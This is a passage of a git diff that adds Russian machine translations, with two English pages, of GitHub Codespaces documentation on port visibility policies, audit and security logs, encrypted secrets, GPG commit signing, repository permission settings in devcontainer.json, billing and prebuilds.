политики. + +{% note %} + +**Примечание.** Вы не можете отключить переадресацию частных портов, так как для продолжения работы {% data variables.product.prodname_github_codespaces %} требуется переадресация частных портов, например для переадресации SSH через порт 22. + +{% endnote %} + +### Параметр политик для всей организации и для указанного репозитория + +При создании политики вы выбираете, применяется ли она ко всем репозиториям в организации или только к указанным. Если вы устанавливаете политику для всей организации, все политики, установленные для отдельных репозиториев, должны находиться в пределах набора ограничений на уровне организации. Добавление политик делает выбор параметров видимости более, а не менее ограниченным. + +Например, можно создать политику для всей организации, которая ограничивает параметры видимости только организацией. Затем можно установить политику для репозитория A, которая запрещает видимость как для общего доступа, так и для организации, что приведет к тому, что для этого репозитория будет доступна только переадресация частного порта. Параметр политики для репозитория A, который разрешает как общий доступ, так и для организации, приведет к видимости только для организации, так как политика для всей организации не разрешает общедоступную видимость. + +При добавлении политики для всей организации следует установить наиболее мягкий параметр видимости, который будет доступен для любого репозитория в организации. Затем можно добавить политики для определенного репозитория, чтобы дополнительно ограничить выбор. + +{% data reusables.codespaces.codespaces-org-policies-note %} + +## Добавление политики для ограничения параметров видимости порта + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.codespaces.codespaces-org-policies %} +1. Нажмите **Добавить ограничение** и выберите **Видимость порта**. + + ![Снимок экрана: раскрывающееся меню "Добавить ограничение"](/assets/images/help/codespaces/add-constraint-dropdown-ports.png) + +1. Нажмите {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить ограничение. + + ![Снимок экрана: значок карандаша для изменения ограничения](/assets/images/help/codespaces/edit-port-visibility-constraint.png) + +1. Очистите выбор параметров видимости порта (**Организация** или **Общедоступный)** , которые вы не хотите делать доступными. + + ![Снимок экрана: очистка параметра видимости порта](/assets/images/help/codespaces/choose-port-visibility-options.png) + +{% data reusables.codespaces.codespaces-policy-targets %} +1. Если вы хотите добавить другое ограничение в политику, щелкните **Добавить ограничение** и выберите другое ограничение. Дополнительные сведения о других ограничениях см. в разделе: + * "[Ограничение доступа к типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" + * [Ограничение базового образа для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) + * [Ограничение времени ожидания простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) + * [Ограничение срока хранения для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) +1. Завершив добавление ограничений в политику, щелкните **Сохранить**. + +Политика будет применяться ко всем новым пространствам кода, которые оплачиваются для вашей организации. Ограничение видимости портов также применяется к существующим codespace при следующем запуске. + +## Изменение политики + +Можно изменить существующую политику. Например, вы можете захотеть добавить или удалить ограничения политики. + +1. Отображение страницы "Политики Codespace". Дополнительные сведения см. в разделе [Добавление политики для ограничения параметров видимости порта](#adding-a-policy-to-limit-the-port-visibility-options). +1. Щелкните имя политики, которую нужно изменить. +1. Щелкните значок карандаша ({% octicon "pencil" aria-label="The edit icon" %}) рядом с ограничением "Видимость порта". +1. Внесите необходимые изменения и щелкните **Сохранить**. + +## Удаление политики + +1. Отображение страницы "Политики Codespace". Дополнительные сведения см. в разделе [Добавление политики для ограничения параметров видимости порта](#adding-a-policy-to-limit-the-port-visibility-options). +1. Нажмите кнопку удаления справа от политики, которую вы хотите удалить. + + ![Снимок экрана: кнопка удаления для политики](/assets/images/help/codespaces/policy-delete.png) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md new file mode 100644 index 000000000000..e42430b3935e --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md @@ -0,0 +1,31 @@ +--- +title: Просмотр журналов аудита организации для GitHub Codespaces +shortTitle: Audit logs +intro: 'Журнал аудита можно использовать для проверки всех действий, связанных с {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Security + - Administrator +redirect_from: + - /codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces +ms.openlocfilehash: 81fbf92217c704ece2f1076de03e1f0445ded2c5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160154' +--- +Когда какой-либо участник вашей организации выполняет действие, связанное с {% data variables.product.prodname_github_codespaces %}, вы можете просмотреть действия в журнале аудита. Сведения о доступе к журналу см. в разделе [Просмотр журнала аудита](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log). + +![Журнал аудита с помощью сведений о кодовых пространствах](/assets/images/help/settings/codespaces-audit-log-org.png) + +В журнале аудита указывает, кто выполнил действие, что это было за действие и когда оно было выполнено. Сведения о действиях {% data variables.product.prodname_github_codespaces %} см. в разделе Действия[`codespaces` категорий](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#codespaces-category-actions). + +## Дополнительные материалы + +- [Просмотр журналов безопасности для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces) +- [Журналы {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs) diff --git a/translations/ru-RU/content/codespaces/managing-your-codespaces/index.md b/translations/ru-RU/content/codespaces/managing-your-codespaces/index.md new file mode 100644 index 000000000000..5e8c2212193f --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-your-codespaces/index.md @@ -0,0 +1,23 @@ +--- +title: Управление кодовыми пространствами +intro: 'Вы можете использовать параметры {% data variables.product.prodname_github_codespaces %} для управления сведениями, которые могут потребоваться для вашего codespace.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +redirect_from: + - /codespaces/working-with-your-codespace +children: + - /managing-encrypted-secrets-for-your-codespaces + - /managing-repository-access-for-your-codespaces + - /reviewing-your-security-logs-for-github-codespaces + - /managing-gpg-verification-for-github-codespaces +ms.openlocfilehash: e038653047ef1d8ccb7e4a2237c2d6149e7593c9 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159997' +--- + diff --git a/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md b/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md new file mode 100644 index 000000000000..0b0a87631d70 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md @@ -0,0 +1,97 @@ +--- +title: Управление зашифрованными секретами для codespace +intro: 'Вы можете хранить конфиденциальную информацию, например маркеры, которые нужны вам в пространствах кода, с помощью переменных среды.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces + - /codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces +type: how_to +topics: + - Codespaces + - Developer + - Security + - Secret store +shortTitle: Encrypted secrets +ms.openlocfilehash: f2ef60c9311a81ea59ec4f71cb7c1a432102b063 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160445' +--- +## Сведения о зашифрованных секретах для {% data variables.product.prodname_github_codespaces %} + +Можно добавить зашифрованные секреты в личную учетную запись, которую вы хотите использовать в codespace. Например, может потребоваться сохранить и иметь доступ к следующей конфиденциальной информации в виде зашифрованных секретов. + +- Маркеры доступа к облачным службам +- Субъекты-службы +- Идентификаторы подписок +- [Учетные данные для частного реестра изображений](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry) + +Можно выбрать какие репозитории должны иметь доступ к каждому секрету. Затем можно использовать секрет в любом codespace, создаваемом для репозитория с доступом к секрету. Чтобы поделиться секретом с codespace, созданным на основе шаблона, необходимо опубликовать codespace в репозитории на {% data variables.product.prodname_dotcom %}, а затем предоставить репозиторию доступ к секрету. + +{% data reusables.codespaces.secrets-on-start %} + +### Именование секретов + +{% data reusables.codespaces.secrets-naming %} Например, секрет, созданный на уровне репозитория, должен иметь уникальное имя в этом репозитории. + + {% data reusables.codespaces.secret-precedence %} + +### Ограничения для секретов + +Можно хранить до 100 секретов для {% data variables.product.prodname_github_codespaces %}. + +Размер секретов ограничен 64 КБ. + +## Добавление секрета + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. Справа от "Секреты Codespaces" щелкните **Создать секрет**. + ![Кнопка "Создать секрет"](/assets/images/help/settings/codespaces-new-secret-button.png) +1. В поле "Имя" введите имя секрета. + ![Текстовое поле "Имя"](/assets/images/help/settings/codespaces-secret-name-field.png) {% data reusables.user-settings.codespaces-secret-value %} {% data reusables.user-settings.codespaces-secret-repository-access %} +1. Щелкните **Добавить секрет**. + +## Изменение секрета + +Можно обновить значение существующего секрета и изменить то, какие репозитории имеют доступ к секрету. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Секреты Codespaces", справа от секрета, который нужно изменить, щелкните **Обновить**. + ![Кнопка "Обновить"](/assets/images/help/settings/codespaces-secret-update-button.png) +1. В разделе "Значение" щелкните **Ввести новое значение**. + ![Ссылка "Ввести новое значение"](/assets/images/help/settings/codespaces-secret-update-value-text.png) {% data reusables.user-settings.codespaces-secret-value %} {% data reusables.user-settings.codespaces-secret-repository-access %} +1. При необходимости, чтобы удалить доступ секрета к репозиторию, отмените выбор репозитория. + ![Флажок удаления доступа к репозиториям](/assets/images/help/settings/codespaces-secret-repository-checkboxes.png) +1. Нажмите кнопку **Сохранить изменения**. + +## Удаление секрета + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Секреты Codespaces", справа от секрета, который нужно удалить, щелкните **Удалить**. + ![Кнопка "Удалить"](/assets/images/help/settings/codespaces-secret-delete-button.png) +1. Ознакомьтесь с предупреждением и нажмите кнопку **ОК**. + ![Подтверждение удаления секрета](/assets/images/help/settings/codespaces-secret-delete-warning.png) + +## Использование секретов + +Секрет экспортируется в пользовательский сеанс терминала в качестве переменной среды. + + ![Отображение значения экспортированного секрета в терминале](/assets/images/help/codespaces/exported-codespace-secret.png) + +Можно использовать секреты в среде codespace после ее создания и запуска. Например, секрет можно использовать в следующих случаях: + +* При запуске приложения из встроенного терминала или сеанса SSH. +* В скрипте жизненного цикла контейнера разработки, который запускается после запуска среды codespace. Дополнительные сведения о скриптах жизненного цикла контейнера разработки см. в [документации по контейнерам разработки](https://containers.dev/implementors/json_reference/#lifecycle-scripts). + +Секреты Codespace нельзя использовать: + +* Во время сборки codespace (то есть в dockerfile или пользовательской точке входа). +* В компоненте контейнера разработки. Дополнительные сведения см. в свойстве `features` [в спецификации контейнеров разработки](https://containers.dev/implementors/json_reference/#general-properties) на containers.dev. + +## Дополнительные материалы + +- [Управление зашифрованными секретами репозитория и организации для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces) diff --git a/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md b/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md new file mode 100644 index 000000000000..0dacfaca3d37 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md @@ -0,0 +1,41 @@ +--- +title: Управление проверкой GPG для GitHub Codespaces +intro: 'Вы можете разрешить {% data variables.product.company_short %} автоматически использовать GPG для подписывания фиксаций, внесенных в codespaces, чтобы другие пользователи могли быть уверены, что изменения поступают из надежного источника.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Developer + - Security +redirect_from: + - /github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces + - /codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces + - /codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces +shortTitle: GPG verification +ms.openlocfilehash: ff83eba1720a2841747536ec04bfc0b3db055669 +ms.sourcegitcommit: 47e03737d09bed84dfedb7be5924d893d34ea1a8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167104' +--- +После включения проверки GPG {% data variables.product.company_short %} автоматически подписывает ваши фиксации в {% data variables.product.prodname_github_codespaces %}, при этом фиксации будут иметь проверенный статус в {% data variables.product.product_name %}. По умолчанию проверка GPG для создаваемых вами сред codespace отключена. Вы можете разрешить проверку GPG для всех или отдельных репозиториев. Включайте проверку GPG только для доверенных репозиториев. Дополнительные сведения о подписанных {% data variables.product.product_name %} фиксациях см. в разделе [Сведения о проверке подписи фиксации](/github/authenticating-to-github/about-commit-signature-verification). + +{% data reusables.codespaces.gpg-in-active-codespaces %} + +{% note %} + +**Примечание:** Если вы связали репозиторий файлов точек с {% data variables.product.prodname_github_codespaces %}, конфигурация Git в файлах с точками может конфликтовать с конфигурацией, которая требуется {% data variables.product.prodname_github_codespaces %} для подписывания фиксаций. Дополнительные сведения см. в разделе [Устранение неполадок с проверкой GPG для {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces). + +{% endnote %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "GPG verification" (Проверка GPG) выберите нужный параметр для проверки GPG. + ![Переключатели для управления проверкой GPG](/assets/images/help/settings/codespaces-gpg-verification-radio-buttons.png) +1. Если вы выбрали "Выбранные репозитории", выберите раскрывающееся меню, а затем выберите репозиторий, для которого требуется включить проверку GPG. Повторите эту процедуру для всех репозиториев, для которых нужно включить проверку GPG. + ![Раскрывающееся меню "Выбранные репозитории"](/assets/images/help/settings/codespaces-gpg-verification-repository-drop-down.png) + + +После включения проверки GPG для {% data variables.product.prodname_github_codespaces %} все фиксации подписываются по умолчанию в codespaces. diff --git a/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md new file mode 100644 index 000000000000..9efacc5e1eaf --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md @@ -0,0 +1,137 @@ +--- +title: Управление доступом к другим репозиториям в кодовом пространстве +allowTitleToDifferFromFilename: true +shortTitle: Repository access +intro: 'Вы можете управлять репозиториями, к которым у {% data variables.product.prodname_github_codespaces %} есть доступ.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces + - Security +redirect_from: + - /codespaces/managing-your-codespaces/managing-access-and-security-for-your-codespaces +ms.openlocfilehash: 3f8379c322bd7ccd9ff7d31e17da90a77461536d +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160106' +--- +## Обзор + +По умолчанию вашему кодовому пространству назначается токен, ограниченный репозиторием, из которого оно был создано. При публикации пространства кода, созданного из шаблона, в новый репозиторий в {% data variables.product.product_name %}, пространству кода назначается маркер, ограниченный новым репозиторием. Дополнительные сведения см. в статье [Безопасность в {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces#authentication). Если для вашего проекта требуются дополнительные разрешения в отношении других репозиториев, настройте их в файле `devcontainer.json` и убедитесь в том, что другие участники совместной работы имеют необходимый набор разрешений. + +Если разрешения перечислены в файле `devcontainer.json`, вам будет предложено просмотреть и авторизовать дополнительные разрешения в процессе создания кодового пространства для этого репозитория. После того как вы авторизуете перечисленные разрешения, {% data variables.product.prodname_github_codespaces %} запомнит ваш выбор и не будет запрашивать авторизацию, пока разрешения в файле `devcontainer.json` не изменятся. + +## Предварительные требования + +Для создания кодовых пространств с определенными пользовательскими разрешениями необходимо использовать одно из следующих средств: +* веб-интерфейс {% data variables.product.prodname_dotcom %}; +* [интерфейс командной строки {% data variables.product.prodname_dotcom %}](https://github.com/cli/cli/releases/latest) 2.5.2 или более поздней версии; +* [расширение {% data variables.product.prodname_github_codespaces %} {% data variables.product.prodname_vscode %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) 1.5.3 или более поздней версии. + +## Настройка дополнительных разрешений репозитория + +1. Разрешения репозитория для {% data variables.product.prodname_github_codespaces %} настраиваются в файле `devcontainer.json`. Если репозиторий еще не содержит файл `devcontainer.json`, добавьте его. Дополнительные сведения см. в разделе [Добавление контейнера разработки в проект](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces). + +1. Измените файл `devcontainer.json`, добавив имя репозитория и необходимые разрешения в отношении объекта `repositories`: + + ```json{:copy} + { + "customizations": { + "codespaces": { + "repositories": { + "my_org/my_repo": { + "permissions": { + "issues": "write" + } + } + } + } + } + } + ``` + + {% note %} + + **Примечание.** Вы можете ссылаться только на репозитории, принадлежащие той же личной учетной записи или организации, что и репозиторий, в котором вы сейчас работаете. + + {% endnote %} + + Для каждого указанного репозитория можно предоставить любое количество следующих разрешений: + * `actions` — чтение/запись; + * `checks` — чтение/запись; + * `contents` — чтение/запись; + * `deployments` — чтение/запись; + * `discussions` — чтение/запись; + * `issues` — чтение/запись; + * `packages` — чтение; + * `pages` — чтение/запись; + * `pull_requests` — чтение/запись; + * `repository_projects` — чтение/запись; + * `statuses` — чтение/запись; + * `workflows` — запись. + + Чтобы задать разрешение для всех репозиториев в организации, добавьте подстановочный знак `*` после имени организации в объекте `repositories`. + + ```json + { + "customizations": { + "codespaces": { + "repositories": { + "my_org/*": { + "permissions": { + "issues": "write" + } + } + } + } + } + } + ``` + + Чтобы задать все разрешения для определенного репозитория, используйте в объекте репозитория `"permissions": "read-all"` или `"permissions": "write-all"`. + + ```json + { + "customizations": { + "codespaces": { + "repositories": { + "my_org/my_repo": { + "permissions": "write-all" + } + } + } + } + } + ``` + +## Авторизация запрошенных разрешений + +Если в файле `devcontainer.json` определены дополнительные разрешения репозитория, во время создания codespace или конфигурации предварительной сборки для этого репозитория появится запрос на просмотр и авторизацию разрешений при необходимости. При авторизации разрешений для репозитория {% data variables.product.prodname_github_codespaces %} не будет повторно запрашивать данные, пока набор запрошенных разрешений для репозитория не будет изменен. + +![Страница запрошенных разрешений](/assets/images/help/codespaces/codespaces-accept-permissions.png) + +Авторизуйте разрешения только для тех репозиториев, которые вы знаете и которым доверяете. Если вы не доверяете набору запрошенных разрешений, нажмите **Продолжить без авторизации**, чтобы создать кодовое пространство с базовым набором разрешений. Отклонение дополнительных разрешений может повлиять на функциональные возможности проекта в кодовом пространстве, поскольку кодовое пространство будет иметь доступ только к тому репозиторию, из которого оно был создано. + +Вы можете авторизовать только те разрешения, которые есть у вашей личной учетной записи. Если кодовое пространство запрашивает разрешения в отношении репозиториев, к которым у вас нет доступа, обратитесь к владельцу или администратору соответствующего репозитория для получения доступа, а затем попробуйте создать кодовое пространство еще раз. + +## Доступ и безопасность + +{% warning %} + +**Примечание об устаревании.** Описанные ниже параметры доступа и безопасности больше не рекомендуются и приводятся исключительно в ознакомительных целях. Чтобы включить расширенный доступ к другим репозиториям, добавьте запрошенные разрешения в определение контейнера разработки для вашего кодового пространства, как описано ниже. + +{% endwarning %} + +При включении доступа и безопасности для репозитория, принадлежащего вашей личной учетной записи, все кодовые пространства, созданные для этого репозитория, получают разрешения на чтение для всех других принадлежащих вам репозиториев. Доступ среды codespace к репозиториям можно ограничить либо репозиторием, для которого среда codespace была открыта, либо конкретными репозиториями. Включайте доступ и безопасность только для тех репозиториев, которым вы доверяете. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Доступ и безопасность" выберите параметр, подходящий для вашей личной учетной записи. + + ![Переключатели для управления доверенными репозиториями](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png) + +1. Если вы выбрали "Выбранные репозитории", выберите раскрывающееся меню, а затем щелкните репозиторий, чтобы разрешить codespace репозиториям доступ к другим репозиториям, которые вам принадлежат. Повторите эти действия для всех репозиториев, средам codespace которых нужно предоставить доступ к другим принадлежащим вам репозиториям. + + ![Раскрывающееся меню "Выбранные репозитории"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) diff --git a/translations/ru-RU/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md b/translations/ru-RU/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md new file mode 100644 index 000000000000..475292c83310 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md @@ -0,0 +1,29 @@ +--- +title: Reviewing your security logs for GitHub Codespaces +shortTitle: Security logs +intro: 'You can use the security log to review all actions related to {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces + - Developer + - Security +redirect_from: + - /codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces +--- + + + +## About security logs for {% data variables.product.prodname_github_codespaces %} + +When you perform an action related to {% data variables.product.prodname_github_codespaces %} in repositories owned by your personal account, you can review the actions in the security log. For information about accessing the log, see "[Reviewing your security log](/github/authenticating-to-github/reviewing-your-security-log#accessing-your-security-log)." + +![security log with Codespaces information](/assets/images/help/settings/codespaces-audit-log.png) + +The security log includes details on what action occurred and when you performed it. For information about {% data variables.product.prodname_github_codespaces %} actions, see "[{% data variables.product.prodname_codespaces %} category actions](/github/authenticating-to-github/reviewing-your-security-log#codespaces-category-actions)". + +## Further reading + +- "[Reviewing your organization's audit logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces)" +- "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)" \ No newline at end of file diff --git a/translations/ru-RU/content/codespaces/overview.md b/translations/ru-RU/content/codespaces/overview.md new file mode 100644 index 000000000000..52f2596cf245 --- /dev/null +++ b/translations/ru-RU/content/codespaces/overview.md @@ -0,0 +1,66 @@ +--- +title: GitHub Codespaces overview +shortTitle: Overview +intro: 'This guide introduces {% data variables.product.prodname_github_codespaces %} and provides details on how it works and how to use it.' +allowTitleToDifferFromFilename: true +redirect_from: + - /codespaces/codespaces-reference/about-codespaces + - /github/developing-online-with-github-codespaces/about-github-codespaces + - /github/developing-online-with-codespaces/about-codespaces + - /codespaces/getting-started-with-codespaces/about-codespaces + - /codespaces/about-codespaces +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Codespaces +--- + +## What is a codespace? + +A codespace is a development environment that's hosted in the cloud. You can customize your project for {% data variables.product.prodname_github_codespaces %} by committing [configuration files](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers) to your repository (often known as Configuration-as-Code), which creates a repeatable codespace configuration for all users of your project. + +Each codespace runs on a virtual machine hosted by {% data variables.product.prodname_dotcom %}. You can choose the type of machine you want to use, depending on the resources you need. Various types of machine are available, starting with a 2-core processor, 4 GB of RAM, and 32 GB of storage. + +You can connect to your codespaces from your browser, from {% data variables.product.prodname_vscode %}, from the JetBrains Gateway application, or by using {% data variables.product.prodname_cli %}. + +![A diagram showing how {% data variables.product.prodname_github_codespaces %} works](/assets/images/help/codespaces/codespaces-diagram.png) + +## Using {% data variables.product.prodname_github_codespaces %} + +To begin developing using cloud-based compute resources, you can create a codespace from a template or from any branch or commit in a repository. When you create a codespace from a template, you can start from a blank template or choose a template suitable for the work you're doing. + +{% data reusables.codespaces.links-to-get-started %} + +### Using codespaces owned by your personal account + +All personal {% data variables.product.prodname_dotcom_the_website %} accounts have a monthly quota of free use of {% data variables.product.prodname_github_codespaces %} included in the Free or Pro plan. You can get started using {% data variables.product.prodname_github_codespaces %} on your personal account without changing any settings or providing payment details. + +You can create and use a codespace for any repository you can clone. You can also use a template to create codespaces that are not initially associated with a repository. If you create a codespace from an organization-owned repository, use of the codespace will either be charged to the organization (if the organization is configured for this), or to your personal account. Codespaces created from templates are always charged to your personal account. + +{% data reusables.codespaces.codespaces-continue-by-paying %} + +### Using organization-owned codespaces + +Organization owners can enable use of {% data variables.product.prodname_github_codespaces %}, billable to the organization or enterprise account. This applies to codespaces created from repositories owned by the organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." You can set a spending limit for use of {% data variables.product.prodname_github_codespaces %} on your organization or enterprise account. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)." + +If use of a codespace will be billed to an organization or enterprise, this is shown when the codespace is created. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." Codespaces that are billed to an organization, or its parent enterprise, are owned by the organization and can be deleted by an organization owner. For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace#deleting-codespaces-in-your-organization)." + +### Customizing {% data variables.product.prodname_github_codespaces %} + +To customize the runtimes and tools in your codespace, you can create one or more dev container configurations for your repository. Adding dev container configurations to your repository allows you to define a choice of different development environments that are appropriate for the work people will do in your repository. + +If you create a codespace from a repository without any dev container configurations, {% data variables.product.prodname_github_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. If you create a codespace from a template, you might start with some initial configuration on top of the default image. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." + +You can personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository. You can use dotfiles to set shell aliases and preferences, or to install your personal preference of the tools you like to use. If you use {% data variables.product.prodname_github_codespaces %} in the browser, or in {% data variables.product.prodname_vscode %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to give your codespace editor the same settings, keyboard shortcuts, snippets, and extensions that you have set up in your local installation of {% data variables.product.prodname_vscode %}. + +For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)". + +## Billing for {% data variables.product.prodname_codespaces %} + +For information on pricing, storage, and usage for {% data variables.product.prodname_github_codespaces %}, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +{% data reusables.codespaces.codespaces-monthly-billing %} For information on how organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)." diff --git a/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md new file mode 100644 index 000000000000..e3833fc24189 --- /dev/null +++ b/translations/ru-RU/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md @@ -0,0 +1,56 @@ +--- +title: Сведения о предварительных сборках в GitHub Codespaces +shortTitle: About prebuilds +intro: 'Предварительные сборки {% data variables.product.prodname_github_codespaces %} помогают ускорить создание новых пространств кода для больших или сложных репозиториев.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +redirect_from: + - /codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds +ms.openlocfilehash: e0962e410f2227a23ff98c8a3e7995ea8ec8a914 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158800' +--- +## Общие сведения + +{% data reusables.codespaces.prebuilds-definition %} + +Если в настоящее время создание codespace для репозитория занимает более 2 минут, вы, скорее всего, выиграете от использования предварительных сборок. Это связано с тем, что в предварительной сборке любой исходный код, расширения редактора, зависимости проекта, команды и конфигурации уже скачаны, установлены и применены перед созданием codespace. + +По умолчанию всякий раз при отправке изменения в репозиторий {% data variables.product.prodname_github_codespaces %} использует {% data variables.product.prodname_actions %} для автоматического обновления предварительных сборок. + +Если для определенной ветви репозитория, файла конфигурации контейнера разработки и вашего региона доступны предварительные сборки, вы увидите метку "{% octicon "zap" aria-label="The zap icon" %} Доступна предварительная сборка" в списке типов компьютеров при создании codespace. Если предварительная сборка все еще создается, вы увидите метку "{% octicon "history" aria-label="The history icon" %} Предварительная сборка выполняется". Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +![Диалоговое окно выбора типа компьютера](/assets/images/help/codespaces/choose-custom-machine-type.png) + +При создании codespace на основе шаблона на странице "Ваши codespaces" {% data variables.product.prodname_dotcom %} может автоматически использовать предварительную сборку для ускорения создания. Дополнительные сведения о шаблонах см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). + +## Процесс предварительной сборки + +Чтобы создать предварительную сборку, необходимо настроить конфигурацию предварительной сборки. Когда вы сохраняете конфигурацию, запускается рабочий процесс {% data variables.product.prodname_actions %} для создания каждой из необходимых предварительных сборок, по одному рабочему процессу на предварительную сборку. Рабочие процессы также запускаются всякий раз, 